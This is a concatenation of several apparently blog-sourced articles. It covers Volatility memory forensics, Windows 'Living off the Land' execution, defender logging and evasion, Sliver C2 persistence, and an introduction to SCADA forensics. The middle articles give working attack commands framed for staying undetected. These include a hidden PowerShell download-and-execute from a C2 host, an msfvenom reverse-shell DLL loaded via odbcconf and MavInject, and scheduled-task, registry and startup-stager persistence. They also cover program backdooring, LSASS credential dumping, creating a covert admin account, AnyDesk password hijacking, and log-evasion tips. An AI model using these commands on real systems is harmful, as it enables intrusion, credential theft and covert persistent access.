In Volatility 2, ‘imageinfo‘ scans for profiles, and ‘kdbgscan‘ digs deeper for kernel debug info if needed. Volatility 3’s ‘windows.info‘ combines this, showing 32/64-bit, OS versions, and kernel details all in one and it’s quicker.

bash$ > vol -f Windows.vmem windows.info

Here’s what the output looks like, showing key system details to guide your next steps.

Process Information

As a beginner analyst, you’d run process commands to list what’s running on the system, like spotting a fake “explorer.exe” that might be malware stealing data. Say you’re checking a bank employee’s machine after a phishing attack, these commands can tell you if suspicious programs are active, and help you trace the breach.

‘pslist‘ shows active processes via kernel structures. ‘psscan‘ scans memory for hidden ones (good for rootkits). ‘pstree‘ displays parent-child relationships like a family tree. ‘psxview‘ in Vol 2 compares lists to find hidden processes.

Note that Volatility 2 wants you to specify the profile. You can find out the profile while gathering the image info.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> pslist

vol.py -f “/path/to/file” ‑‑profile <profile> psscan

vol.py -f “/path/to/file” ‑‑profile <profile> pstree

vol.py -f “/path/to/file” ‑‑profile <profile> psxview

Volatility 3:

vol.py -f “/path/to/file” windows.pslist

vol.py -f “/path/to/file” windows.psscan

vol.py -f “/path/to/file” windows.pstree

Now let’s see what we get:

bash$ > vol -f Windows7.vmem windows.pslist

This output lists processes with PIDs, names, and start times. Great for spotting outliers.

bash$ > vol -f Windows.vmem windows.psscan

Here, you’ll see a broader scan that might catch processes trying to hide.

bash$ > vol -f Windows7.vmem windows.pstree

This tree view helps trace how processes relate, like if a browser spawned something shady.

Displaying the entire process tree will look messy, so we recommend a more targeted approach with –pid

Process Dump

You’d use process dump when you spot a suspicious process and want to extract its executable for closer inspection, like with antivirus tools. For instance, if you’re analyzing a system after a data leak, dumping a weird process could reveal it is spyware sending info to hackers.

Vol 2’s ‘procdump‘ pulls the exe for a PID. Vol 3’s ‘dumpfiles‘ grabs the exe plus related DLLs, giving more context.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> procdump -p <PID> ‑‑dump-dir=“/path/to/dir”

Volatility 3:

vol.py -f “/path/to/file” -o “/path/to/dir” windows.dumpfiles ‑‑pid <PID>

We already have a process we are interested in:

bash$ > vol -f Windows.vmem windows.dumpfiles --pid 504

After the dump, check the output and analyze it further.

Memdump

Memdump is key for pulling the full memory of a process, which might hold passwords or code snippets. Imagine investigating insider theft, dumping memory from an email app could show unsent drafts with stolen data.

Vol 2’s ‘memdump’ extracts raw memory for a PID. Vol 3’s ‘memmap’ with –dump maps and dumps regions, useful for detailed forensics.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> memdump -p <PID> ‑‑dump-dir=“/path/to/dir”

Volatility 3:

vol.py -f “/path/to/file” -o “/path/to/dir” windows.memmap ‑‑dump ‑‑pid <PID>

Let’s see the output for our process:

bash$ > vol -f Windows7.vmem windows.memmap --dump --pid 504

This shows the memory map and dumps files for deep dives.

DLLs

Listing DLLs helps spot injected code, like malware hiding in legit processes. Unusual DLLs might point to infection.

Both versions list loaded DLLs for a PID, but Vol 3 is profile-free and faster.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> dlllist -p <PID>

Volatility 3:

vol.py -f “/path/to/file” windows.dlllist ‑‑pid <PID>

Let’s see the DLLs loaded in our memory dump:

bash$ > vol -f Windows7.vmem windows.dlllist --pid 504

Here you see all loaded DLLs of this process. You already know how to dump processes with their DLLs for a more thorough analysis. 

Handles

Handles show what a process is accessing, like files or keys crucial for seeing if malware is tampering with system parts. In a ransomware case, handles might reveal encrypted files being held open or encryption keys used to encrypt data.

Both commands list handles for a PID. Similar outputs, but Vol 3 is streamlined.

Volatility 2:

vol.py -f “/path/to/file” ‑‑profile <profile> handles -p <PID>

Volatility 3:

vol.py -f “/path/to/file” windows.handles ‑‑pid <PID>

Let’s see the handles our process used:

bash$ > vol -f Windows.vmem windows.handles --pid 504

It gave us details, types and names for clues.

Services

Services scan lists background programs, helping find persistent malware disguised as services. If you’re probing a server breach, this could uncover a backdoor service.

Use | more to page through long lists. Outputs are similar, showing service names and states.

Volatility 2:

vol -f “/path/to/file” ‑‑profile <profile> svcscan | more

Volatility 3:

vol -f “/path/to/file”  windows.svcscan | more

Since this technique is often abused, a lot can be discovered here:

bash$ > vol -f Windows7.vmem windows.svcscan

Give it a closer look and spend enough time here. It’s good to familiarize yourself with native services and their locations

Summary

We’ve covered the essentials of memory analysis with Volatility, from why it’s vital to key commands for processes, dumps, DLLs, handles, and services. Apart from the commands, now you know how to approach memory forensics and what actions you should take. As we progress, more articles will be coming where we practice with different cases. We already have a memory dump of a machine that suffered a ransomware attack, which we analyzed with you recently. In part two, you will build on this knowledge by exploring network info, registry, files, and advanced scans like malfind and Yara rules. And for those who finish part two, some handy bonuses await to speed up your work even more. Stay tuned!

The post Digital Forensics: Volatility – Memory Analysis Guide, Part 1 first appeared on Hackers Arise.

Welcome back, cyberwarriors! 

We hope that throughout the Survival series, you have been learning a lot from us. Today, we introduce Living off the Land techniques that can be abused without triggering alarms. Our goal is to use knowledge from previous articles to get our job done without unnecessary attention from defenders. All the commands we cover in two parts are benign, native, and also available on legacy systems. Not all are well-known, and tracking them all is impossible as they generate tons of logs that are hard to dig through. As you may know, some legitimate software may act suspiciously with its process and driver names. Tons of false positives quickly drain defenders, so in many environments, you can fly under the radar with these commands. 

Today, you’ll learn how to execute different kinds of scripts as substitutes for .ps1 scripts since they can be monitored, create fake drivers, and inject DLLs into processes to get a reverse shell to your C2.

Let’s get started!

Execution and Scripting

Powershell

Let’s recall the basic concepts of stealth in PowerShell from earlier articles. PowerShell is a built-in scripting environment used by system administrators to automate tasks, check system status, and configure Windows. It’s legitimate and not suspicious unless executed where it shouldn’t be. Process creation can be monitored, but this isn’t always the case. It requires effort and software to facilitate such monitoring. The same applies to .ps1 scripts. This is why we learned how to convert .ps1 to .bat to blend in in one of the previous articles. It doesn’t mean you should avoid PowerShell or its scripts, as you can create a great variety of tools with it. 

Here’s a reminder of how to download and execute a script in memory with stealth:

PS > powershell.exe -nop -w h -ep bypass -c "iex (New-Object Net.WebClient).DownloadString('http://C2/script.ps1')"

Walkthrough: This tells PowerShell to start quickly without loading user profile scripts (-nop), hide the window (-w h), ignore script execution rules (-ep bypass), download a script from a URL, and run it directly in memory (DownloadString + Invoke-Expression).

When you would use it: When you need to fetch a script from a remote server and run it quietly.

Why it’s stealthy: PowerShell is common for admin tasks, and in-memory execution leaves no file on disk for antivirus to scan. Skipping user profile scripts avoids potential monitoring embedded in them.

A less stealthy option would be:

PS > iwr http://c2/script.ps1 | iex 

It’s important to keep in mind that Invoke-WebRequest (iwr) and Invoke-Expression (iex) are often abused by hackers. Later, we’ll cover stealthier ways to download and execute payloads.

CMD

CMD is the classic Windows command prompt used to run batch files and utilities. Although this module focuses on PowerShell, stealth is our main concern, so we cover some CMD commands. With its help, we can chain utilities, redirect outputs to files, and collect system information quietly.

Here’s how to chain enumeration with CMD:

PS > cmd.exe /c "whoami /all > C:\Temp\privs.txt & netstat -ano >> C:\Temp\privs.txt"

Walkthrough: /c runs the command and exits. whoami /all gets user and privilege info and writes it to C:\Temp\privs.txt. netstat -ano appends active network connections to the same file. The user doesn’t see a visible window.

When you would use it: Chaining commands is handy, especially if Script Block Logging is in place and your commands get saved.

Why it’s stealthy: cmd.exe is used everywhere, and writing to temp files looks like routine diagnostics.

cscript.exe

This runs VBScript or JScript scripts from the command line. Older automation relies on it to execute scripts that perform checks or launch commands. Mainly we will use it to bypass ps1 execution monitoring. Below, you can see how we executed a JavaScript script.

PS > cscript //E:JScript //Nologo C:\Temp\script.js

Walkthrough (plain): //E:JScript selects the JavaScript engine, while //Nologo hides the usual header. The final argument points to the script that will be run.

When you would use it: All kinds of use. With the help of AI you can write an enumeration script.

Why it’s stealthy: It’s less watched than PowerShell in some environments and looks like legacy automation.

wscript.exe

By default, it runs Windows Script Host (WSH) scripts (VBScript/JScript), often for scripts showing dialogs. As a pentester, you can run a VBScript in the background or perform shell operations without visible windows.

PS > wscript.exe //E:VBScript C:\Temp\enum.vbs //B

Walkthrough: //B runs in batch mode (no message boxes). The VBScript at C:\Temp\enum.vbs is executed by the Windows Script Host.

When you would use it: Same thing here, it really depends on the script you create. We made a system enumeration script that sends output to a text file. 

Why it’s stealthy: Runs without windows and is often used legitimately.

mshta.exe

Normally, it runs HTML Applications (HTA) containing scripts, used for small admin UIs. For pentesters, it’s a way to execute HTA scripts with embedded code. It requires a graphical interface.

PS > mshta users.hta 

Walkthrough: mshta.exe runs script code in users.hta, which could create a WScript object and execute commands, potentially opening a window with output.

When you would use it: To run a seemingly harmless HTML application that executes shell commands

Why it’s stealthy: It looks like a web or UI component and can bypass some script-only rules.

DLL Loading and Injections

These techniques rely on legitimate DLL loading or registration mechanics to get code running.

Rundll32.exe

Used to load a DLL and call its exported functions, often by installers and system utilities. Pentesters can use it to execute a script or function in a DLL, like a reverse shell generated by msfvenom. Be cautious, as rundll32.exe is frequently abused.

C:\> rundll32.exe C:\reflective_dll.x64.dll,TestEntry

Walkthrough: The command runs rundll32.exe to load reflective_dll.x64.dll and call its TestEntry function.

When you would use it: To execute a DLL’s code in environments where direct execution is restricted.

Why it’s stealthy: rundll32.exe is a common system binary and its activity can blend into normal installer steps.

Regsvr32.exe

In plain terms it adds or removes special Windows files (like DLLs or scriptlets) from the system’s registry so that applications can use or stop using them. It is another less frequently used way to execute DLLs.

PS > regsvr32.exe /u /s .\reflective_dll.x64.dll

Walkthrough: regsvr32 is asked to run the DLL. /s makes it silent. 

When you would use it: To execute a DLL via a registration process, mimicking maintenance tasks.

Why it’s stealthy: Registration operations are normal in IT workflows, so the call can be overlooked.

odbcconf.exe

Normally, odbcconf.exe helps programs connect to databases by setting up drivers and connections. You can abuse it to run your DLLs. Below is an example of how we executed a generated DLL and got a reverse shell

bash > msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.57 LPORT=4444 -f dll -o file.dll

PS > odbcconf.exe INSTALLDRIVER “Printer-driverX|Driver=C:\file.dll|APILevel=2”

PS > odbcconf.exe configsysdns “Printer-driverX” “DNS=Printer-driverX”

Walkthrough: The first odbcconf command tells Windows to register a fake database driver named “Printer-driverX” using a DLL file. The APILevel=2 part makes it look like a legitimate driver. When Windows processes this, it loads file.dll, which runs a reverse shell inside of it. The second odbcconf command, creates a system data source (DSN) named “Printer-driverX” tied to that fake driver, which triggers the DLL to load again, ensuring the malicious code runs.

When you would use it: To execute a custom DLL stealthily, especially when other methods are monitored.

Why it’s stealthy: odbcconf is a legit Windows tool rarely used outside database admin tasks, so it’s not heavily monitored by security tools or admins on most systems. Using it to load a DLL looks like normal database setup activity, hiding the malicious intent.

Installutil.exe

Normally, it is a Windows tool that installs or uninstalls .NET programs, like DLLs or executables, designed to run as services or components. It sets them up so they can work with Windows, like registering them to start automatically, or removes them when they’re no longer needed. In pentest scenarios, the command is used to execute malicious code hidden in a specially crafted .NET DLL by pretending to uninstall it as a .NET service.

PS > InstallUtil.exe /logfile= /LogToConsole=false /U file.dll

Walkthrough: The command tells Windows to uninstall a .NET assembly (file.dll) that was previously set up as a service or component. The /U flag means uninstall, /logfile= skips creating a log file, and /LogToConsole=false hides any output on the screen. If file.dll is a malicious .NET assembly with a custom installer class, uninstalling it can trigger its code, like a reverse shell when the command processes the uninstall. However, for a DLL from msfvenom, this may not work as intended unless it’s specifically a .NET service DLL.

When you would use it:. It’s useful when you have admin access and need to execute a .NET payload stealthily, especially if other methods are unavailable.

Why it’s stealthy: Install utilities are commonly used by developers and administrators.

Mavinject.exe

Essentially, it was designed to help with Application Virtualization, when Windows executes apps in a virtual container. We use it to inject DLLs into running processes to get our code executed. We recommend using system processes for injections, such as svchost.exe.Here is how it’s done:

PS > MavInject.exe 528 /INJECTRUNNING C:\file.dll

Walkthrough: Targets process ID 528 (svchost.exe) and instructs MavInject.exe to inject file.dll into it. When the DLL loads, it runs the code and we get a connection back.

Why you would use it: To inject a DLL for a high-privilege reverse shell, like SYSTEM access. 

Why it’s stealthy: MavInject.exe is a niche Microsoft tool, so it’s rarely monitored by security software or admins, making the injection look like legitimate system behavior.

Summary

Living off the Land techniques matter a lot in Windows penetration testing, as they let you achieve your objectives using only built-in Microsoft tools and signed binaries. That reduces forensic footprints and makes your activity blend with normal admin behavior, which increases the chance of bypassing endpoint protections and detection rules. In Part 1 we covered script execution and DLL injections, some of which will significantly improve your stealth and capabilities. In Part 2, you will explore network recon, persistence, and file management to further evade detection. Defenders can also learn a lot from this to shape the detection strategies. But as it was mentioned earlier, monitoring system binaries might generate a lot of false positives. 

Resources:

https://lofl-project.github.io

https://lolbas-project.github.io/#

The post PowerShell for Hackers – Survival Edition, Part 4: Blinding Defenders first appeared on Hackers Arise.

Welcome back aspiring hackers!

In this chapter, we’re going deeper into the ways defenders can spot you and the traps they set to catch you off guard. We’re talking about defensive mechanisms and key Windows Event IDs that can make your life harder if you’re not careful. Every hacker knows that understanding defenders’ tools and habits is half the battle.

No system is perfect, and no company has unlimited resources. Every growing organization needs analysts constantly tuning alerts and security triggers as new software and users are added to the network. It’s tedious and repetitive work. Too many alerts can exhaust even the sharpest defenders. Eye fatigue, late nights, and false positives all drain attention. That’s where you get a small window to make a move, or a chance to slip through unnoticed.

Assuming nobody is watching is a beginner’s mistake. We’ve seen many beginners lose access to entire networks simply because they underestimated defensive mechanisms. The more professional you become, the less reckless you are, and the sharper your actions become. Always evaluate your environment before acting.

Visibility

Defenders have a few main ways they can detect you, and knowing these is crucial if you want to survive:

Process Monitoring

Process monitoring allows defenders to keep an eye on what programs start, stop, or interact with each other. Every process, PowerShell included, leaves traces of its origin (parent) and its children. Analysts use this lineage to spot unusual activity.

For example, a PowerShell process launched by a Microsoft Word document might be suspicious. Security teams use Endpoint Detection and Response (EDR) tools to gather this data, and some providers, like Red Canary, correlate it with other events to find malicious patterns.

Command Monitoring

Command monitoring focuses on what commands are being run inside the process. For PowerShell, this means watching for specific cmdlets, parameters, or encoded commands. Alone, a command might look innocent, but in combination with process monitoring and network telemetry, it can be a strong indicator of compromise.

Network Monitoring

Attackers often use PowerShell to download tools or exfiltrate data over the network. Monitoring outgoing and incoming connections is a reliable way for defenders to catch malicious activity. A common example is an Invoke-Expression command that pulls content from an external server via HTTP.

What They’re Watching

Let’s break down the logs defenders rely on to catch PowerShell activity:

Windows Security Event ID 1101: AMSI

AMSI stands for Antimalware Scan Interface. Think of it as a security checkpoint inside Windows that watches scripts running in memory, including PowerShell, VBScript, and WMI.

AMSI doesn’t store logs in the standard Event Viewer. Instead, it works with Event Tracing for Windows (ETW), a lower-level logging system. If you bypass AMSI, you can execute code that normally would trigger antivirus scans, like dumping LSASS or running malware, without immediate detection.

But AMSI bypasses are risky. They’re often logged themselves, and Microsoft actively patches them. Publicly available bypasses are a trap for anyone trying to survive quietly.

Windows Security Event ID 4104: ScriptBlock Logging

ScriptBlock logging watches the actual code executed in PowerShell scripts. There are two levels:

Automatic (default): Logs script code that looks suspicious, based on Microsoft’s list of dangerous cmdlets and .NET APIs.

Global: Logs everything with no filters.

Event ID 4104 collects this information. You can bypass this by downgrading PowerShell to version 2, if it exists, but even that downgrade can be logged. Subtle obfuscation is necessary. Here is how you downgrade:

PS > powershell -version 2

Note, that ScriptBlock logging only works with PowerShell 5 and above.

Windows Security Event ID 400: PowerShell Command-Line Logging

Even older PowerShell versions have Event ID 400, which logs when a PowerShell process starts. It doesn’t show full commands, but the fact that a process started is noted.

Windows Security Event IDs 800 & 4103: Module Loading and Add-Type

Module logging (Event ID 800) tracks which PowerShell modules are loaded, including the source code for commands run via Add-Type. This is important because Add-Type is used to compile and run C# code.

In PowerShell 5+, Event ID 4103 also logs this context. If a defender sees unusual or rarely-used modules being loaded, it’s a red flag.

Sysmon Event IDs

Sysmon is a specialized Windows tool that gives defenders extra visibility. Usually defenders monitor tracks:

Event ID 1: Every new process creation.

Event ID 7: Module loads, specifically DLLs.

Event ID 10: Process Access, for instance accessing lsass.exe to dump credentials.

For PowerShell, Event ID 7 can flag loads of System.Management.Automation.dll or related modules, which is often a clear indicator of PowerShell use. Many other Sysmon IDs might be monitored, make sure you spend some time to learn about some of them.

To check if Sysmon is running:

PS > Get-Service -Name sysmon

To view recent Sysmon events:

PS > Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvent 20 | Format-List TimeCreated, Id, Message

Not all systems have Sysmon, but where it’s installed, defenders trust it. Essentially, it is like a high-tech security camera that is detailed, persistent, and hard to fool.

Endpoint Detection and Response (EDR) Tools

EDR tools combine all the telemetry above such as processes, commands, modules, network traffic to give defenders a full picture of activity. If you’re working on a system with EDR, every move is being watched in multiple ways.

What’s Likely to Get You Spotted

Attackers are predictable. If you run the same commands repeatedly, defenders notice. Red Canary publishes filters that show suspicious PowerShell activity. Not every system uses these filters, but they’re widely known.

Encoded Commands

Using -encodedcommand or Base64 can trigger alerts. Base64 itself isn’t suspicious, but repeated or unusual use is a warning sign.

Obfuscation & Escape Characters

Adding extra characters (^, +, $, %) can throw off detection, but too much is suspicious.

Suspicious Cmdlets

Some cmdlets are commonly abused. These include ones for downloading files, running scripts, or managing processes. Knowing which ones are flagged helps you avoid careless mistakes.

Suspicious Script Directories

Scripts running from odd locations, like Public folders, are more likely to be flagged. Stick to expected directories or in-memory execution.

Workarounds

Even when your movement is restricted, options exist.

1) Use native binaries. Legitimate Windows programs are less suspicious.

2) Less common commands. Avoid widely abused cmdlets to reduce detection.

3) Living-Off-the-Land. Using built-in tools creatively keeps you under the radar.

We’ll cover these in more depth in the next chapter, how commands meant for one thing can be adapted for another while remaining invisible.

Net Trick

The net command is powerful, but can be monitored. Use net1 to bypass some filters in really strict environments:

PS > net1 user

This lets you run the full suite of net commands quietly.

Logs

Deleting logs can sometimes be a good idea, but you should know that Event ID 1102 flags it immediately. Also, even less experienced defenders can trace lateral movement from log records. Traffic spikes or SMB scans are noticed quickly.

Methods to Evade Detection

Focus on minimizing your footprint and risk. High-risk, complex techniques are not part of this guide.

Avoid Writing Files

Files on disk can betray your tactics. If saving is necessary, use native-looking names, unusual folders, and adjust timestamps. Stick to in-memory execution where possible. Lesser-known commands like odbconf.exe and cmstp.exe are safer and often overlooked. Use them for execution.

PowerShell Version 2

Downgrading can bypass ScriptBlock logging. But you need to obfuscate things carefully. Subtlety is key here.

Change Forwarder Settings

Tweaking log collectors can buy time but is riskier. Always revert these changes after finishing. It’s always good to have a backup of the config files.

Credential Reuse & Blending In

Use known credentials rather than brute-forcing. Work during normal hours to blend in well and dump traffic to understand local activity. Using promiscuous mode can help you get richer network insights. Targeting common ports for file distribution is also a good idea and blends in well with normal traffic patterns.

Summary

In this part we learned more about the enemy and how defenders see your every move. We broke down the main ways attackers get caught, such as process monitoring, command monitoring and network monitoring. From there, we explored Windows Event IDs and logging mechanisms. We emphasized survival strategies that help you minimize footprint by using in-memory execution, sticking to lesser-known or native commands, using version 2 PowerShell or blending in with normal traffic. Practical tips like the net1 trick and log handling process give you an idea how to avoid raising alarms.

When you understand how defenders observe, log, and respond it lets you operate without tripping alerts. By knowing what’s watched and how, you can plan your moves more safely and survive longer. Our goal here was to show you the challenges you’ll face on Windows systems in restricted environments and give you a real sense that you’re never truly alone.

The post PowerShell for Hackers-Survival Edition, Part 3: Know Your Enemy first appeared on Hackers Arise.

“Often, the battle goes not to the strongest, but rather to the most persistent.”

— OTW

In earlier articles, we walked through everything from getting the first C2 online to gaining a foothold on a machine and escalating privileges. Most of the hard work is done. Once you’ve got high-level access, you’re in a strong position, but that doesn’t mean you can relax. What matters now is keeping that access. Connections can drop, processes can be killed, or machines might reboot. Without persistence, all your progress can disappear. In this article, we make sure you can always get back in.

In this article we’re focusing on Windows, but the concept applies everywhere. Persistence is a broad topic. For example, on Linux, crontabs are often used for persistence, and hackers sometimes encode commands in base64 for extra cover. Learning multiple methods is important. The more tools you know, the better you can adapt to different targets.

Payload Generation

When it comes to persistence, an executable is often the easiest option. Essentially, it’s just another implant, like the one you built earlier.

sliver > generate –http <C2_IP> –os windows –arch amd64 –format exe –save /tmp/persist.exe

You can give the file any name, but it shouldn’t stand out. The goal is to make it look like it belongs. Avoid dumping it into places like C:\Temp, which gets cleaned out regularly. Many attackers prefer to use C:\Windows\System32, since admins usually stay away from it out of caution. Some names that blend in well are dllhost.exe, conhost.exe, winlogon.exe, wmiprvse.exe, and msiexec.exe. Just don’t overwrite the real system binaries. For the sake of simplicity, we’ll use a basic name.

Delivery

Once the payload is ready, it has to be delivered to the target. In earlier steps, you learned how to upload files using Sliver:

sliver (session) > upload /tmp/persist.exe C:\\Windows\\System32\\persist.exe

You could reuse the payload from your initial access, but it may already be logged and flagged. It’s safer to create a new one. Also, update the file’s timestamp after uploading it to make it less suspicious.

Scheduled Tasks

Windows Task Scheduler is a common way to maintain access. Sometimes, you’ll find old tasks that can be modified for your needs. That’s ideal since the task already exists and won’t raise suspicion. If there’s nothing useful, you can create your own:sliver (session) > execute schtasks /create /tn “Windows Services and Tasks” /tr “C:\Windows\System32\persist.exe” /sc hourly /mo 6 /ru System

This sets up a task that runs your executable every six hours with SYSTEM privileges. The name “Windows Services and Tasks” helps it blend in. Don’t try to be clever or unique with naming, keep it boring and native.

There’s also a PowerShell way to do this, but spawning PowerShell processes can get you noticed. Some environments log or monitor PowerShell closely. Still, knowing both methods gives you options.

Startup Folder

Sometimes, Russian admins don’t keep antivirus running full-time across all systems. That’s partly because some of those machines rely on cracked or pirated software, which would constantly trigger AV alerts. Instead, they tend to run manual scans from time to time, especially when something looks off. These checks aren’t regular, but when they do happen, anything that stands out, like a dropped payload can easily get flagged and removed.

In that case, using a lightweight stager can help. Here’s how to create one that runs at startup:

sliver (session) > sharpersist — -t startupfolder -c “powershell.exe” -a “-nop -w hidden -Command \”IEX (irm ‘http://<C2_IP>:443/builder.ps1’)\”” -f “EdgeUpdater” -m add

This sets up a PowerShell command to run on system startup. It pulls a script from your server over HTTP and runs it. That script could then download and run your actual payload. This way, the system never keeps the full implant on disk for long, and antivirus tools are less likely to pick it up. You can name the entry something that fits the environment, like “EdgeUpdater” for example. Adjust it to your needs, but be careful with quoting and backslashes.

Registry Persistence

Another option is the Windows Registry. It’s a favorite among attackers because it’s harder for some admins to track. Still, some setups monitor registry changes, so be careful. Over time, you’ll get a feel for which methods are safer depending on the target.

Low Privilege (HKCU)

If you don’t have elevated privileges, this is your fallback:

sliver (session) > registry write -T string -H HKCU “Software\\Microsoft\\Windows\\CurrentVersion\\Run\\” “C:\\Users\\Public\\persist.exe”

This entry will execute your payload every time the compromised user logs in. If you want it to run only once, use RunOnce instead of Run.

High Privilege (HKLM)

With higher privileges, you can target all users on the system:

sliver (session) > registry write -T string -H HKLM “Software\\Microsoft\\Windows\\CurrentVersion\\Run\\” “C:\\Windows\\System32\\persist.exe”

Same idea, just applied at a broader level. The result is a more reliable form of persistence that doesn’t depend on one user.

Backdooring a Program

Another technique is to backdoor an existing executable. This means injecting a payload into a program so that every time it’s opened, it connects back to your C2. Keep in mind the program will no longer function as intended, it’s just a launcher now.

Here’s how to do that in Sliver:

sliver > profiles new –format shellcode –http <C2_IP>:9008 backdoor

sliver > http -L <C2_IP> -l 9008

sliver (session) > backdoor –profile backdoor “C:\path\to\file.exe”

In this case, you’re creating a profile called backdoor, starting a listener, and then injecting that payload into something like putty.exe. It’s not the best persistence method, but still worth knowing. We will leave the rest for you to experiment with.

Dumping LSASS

In the last chapter, you dumped password hashes from the SAM. Now we’re going after LSASS, which stores NTLM hashes for users currently logged in. This method can give you credentials for admins or service accounts, which can be used for lateral movement or better persistence.

Get the LSASS PID

First, we need to find out the process ID assigned to lsass.exe

sliver (session) > ps -e lsass

Dump the Process

Having the process ID, we will dump the LSASS using procdump and save it on our C2. ProcDumpis a lightweight, command‑line utility designed for creating process memory dumps under specified conditions.

sliver (session) > procdump –pid 688 –save /tmp/lsass.dmp

Extract Credentials

Pypykatz is another open‑source Python implementation of Mimikatz. It lets you extract credentials and secrets from Windows systems either “live” by reading the local LSASS process, or offline by parsing memory dumps and registry hives.

c2 > pypykatz lsa minidump /tmp/lsass.dmp

This gives you a list of users, their sessions, and credentials. If you’re lucky, you’ll find a domain admin account that can be used elsewhere.

Creating a Local Admin

If you can’t crack the hashes or you just need a fallback, you can add a new local admin account. This is simple, but it’s more likely to be flagged if someone’s watching. In some cases, it’s better to add an existing user to the Administrators group instead of creating one from scratch.

sliver (session) > execute net user service P@ssw0rd! /add

sliver (session) > execute net localgroup Administrators service /add

This will create a new user “service” and add it to the Administrators group. With local admin rights, you can easily escalate to SYSTEM. If your machine is a part of the domain, you can edit DACL to perform attacks subtly. This is called DACL abuse and it’s hard to detect, unless proper defenses are in place. But those defenses are rare in practice.

AnyDesk

AnyDesk isn’t part of Sliver, but it’s still useful. It’s a legitimate remote desktop tool that can be quietly installed on systems that don’t get much attention. Set it up with a custom password and ensure it always grants access. Anydesk is a solid fallback option, but it requires valid cleartext credentials to be useful. It’s best to have a local administrator account to log in through it. As mentioned earlier, having an over-privileged machine account in the domain takes care of the rest. It opens the door for techniques like DCSync, abusing AdminSDHolder, and a range of other domain-level attacks. It will always give you a way in, even if other access methods get wiped.

If AnyDesk has already been installed, you can find out the ID to connect to the machine:

sliver (session) > execute -o powershell -Command “& ‘C:\Program Files (x86)\AnyDesk\AnyDesk.exe’ –get-id”

Then force a new password:

sliver (session) > execute -o powershell -Command “echo P@ssw0rd! | & ‘C:\Program Files (x86)\AnyDesk\AnyDesk.exe’ –set-password”

Conclusion

At this point, you’ve laid the groundwork for stable, long-term access. Persistence is not just a backup plan, it is a fundamental part of post-exploitation procedures. From here, you’re ready to map out the network and begin lateral movement.

In Part 5 we will learn how to perform Active Directory domain reconnaissance, which can uncover certificates, trust relationships, passwords, and all the other key artifacts.

The post Sliver, Command and Control (C2): Building a Persistent C2, Part 4 first appeared on Hackers Arise.

Welcome back, my aspiring SCADA/ICS cyberwarriors!

SCADA (Supervisory Control and Data Acquisition) systems and the wider class of industrial control systems (ICS) run many parts of modern life, such as electricity, water, transport, factories. These systems were originally built to work in closed environments and not to be exposed to the public Internet. Over the last decade they have been connected more and more to corporate networks and remote services to improve efficiency and monitoring. That change has also made them reachable by the same attackers who target regular IT systems. When a SCADA system is hit by malware, sabotage, or human error, operators must restore service fast. At the same time investigators need trustworthy evidence to find out what happened and to support legal, regulatory, or insurance processes.

Forensics techniques from traditional IT are helpful, but they usually do not fit SCADA devices directly. Many field controllers run custom or minimal operating systems, lack detailed logs, and expose few of the standard interfaces that desktop forensics relies on. To address that gap, we are starting a focused, practical 3-day course on SCADA forensics. The course is designed to equip you with hands-on skills for collecting, preserving and analysing evidence from PLCs, RTUs, HMIs and engineering workstations.

Today we will explain how SCADA systems are built, what makes forensics in that space hard, and which practical approaches and tools investigators can use nowadays.

Background and SCADA Architecture

A SCADA environment usually has three main parts: the control center, the network that connects things, and the field devices.

The control center contains servers that run the supervisory applications, databases or historians that store measurement data, and operator screens (human-machine interfaces). These hosts look more like regular IT systems and are usually the easiest place to start a forensic investigation.

The network between control center and field devices is varied. It can include Ethernet, serial links, cellular radios, or specialized industrial buses. Protocols range from simple serial messages to industrial Ethernet and protocol stacks that are unique to vendors. That variety makes it harder to collect and interpret network traffic consistently.

Field devices sit at the edge. They include PLCs (programmable logic controllers), RTUs (remote terminal units), and other embedded controllers that handle sensors and actuators. Many of these devices run stripped-down or proprietary firmware, hold little storage, and are designed to operate continuously.

Understanding these layers helps set realistic expectations for what evidence is available and how to collect it without stopping critical operations.

Challenges in SCADA Forensics

SCADA forensics has specific challenges that change how an investigation is done.

First, some field devices are not built for forensics. They often lack detailed logs, have limited storage, and run proprietary software. That makes it hard to find recorded events or to run standard acquisition tools on the device.

Second, availability matters. Many SCADA devices must stay online to keep a plant, substation, or waterworks operating. Investigators cannot simply shut everything down to image drives. This requirement forces use of live-acquisition techniques that gather volatile data while systems keep running.

Third, timing and synchronization are difficult. Distributed devices often have different clocks and can drift. That makes correlating events across a wide system challenging unless timestamps are synchronized or corrected during analysis.

Finally, organizational and legal issues interfere. Companies often reluctant to share device details, firmware, or incident records because of safety, reputation, or legal concerns. That slows development of general-purpose tools and slows learning from real incidents.

All these challenges only increase the value of SCADA forensics specialists. Salary varies by location, experience, and roles, but can range from approximately $65,000 to over $120,000 per year.

Real-world attack chain

To understand why SCADA forensics matters, it helps to look at how real incidents unfold. The following examples show how a single compromise inside the corporate network can quickly spread into the operational side of a company. In both cases, the attack starts with the compromise of an HR employee’s workstation, which is a common low-privilege entry point. From there, the attacker begins basic domain reconnaissance, such as mapping users, groups, servers, and RDP access paths. 

Case 1

In the first path, the attacker discovers that the compromised account has the right to replicate directory data, similar to a DCSync privilege. That allows the extraction of domain administrator credentials. Once the attacker holds domain admin rights, they use Group Policy to push a task or service that creates a persistent connection to their command-and-control server. From that moment, they can access nearly every machine in the domain without resistance. With such reach, pivoting into the SCADA or engineering network becomes a matter of time. In one real scenario, this setup lasted only weeks before attackers gained full control and eventually destroyed the domain.

Case 2

The second path shows a different but equally dangerous route. After gathering domain information, the attacker finds that the HR account has RDP access to a BACKUP server, which stores local administrator hashes. They use these hashes to move laterally, discovering that most domain users also have RDP access through an RDG gateway that connects to multiple workstations. From there, they hop across endpoints, including those used by engineers. Once inside engineering workstations, the attacker maps out routes to the industrial control network and starts interacting with devices by changing configurations, altering setpoints, or pushing malicious logic into PLCs.

Both cases end with full access to SCADA and industrial equipment. The common causes are poor segmentation between IT and OT, excessive privileges, and weak monitoring.

Frameworks and Methodologies

A practical framework for SCADA forensics has to preserve evidence and keep the process safe. The basic idea is to capture the most fragile, meaningful data first and leave more invasive actions for later or for offline testing.

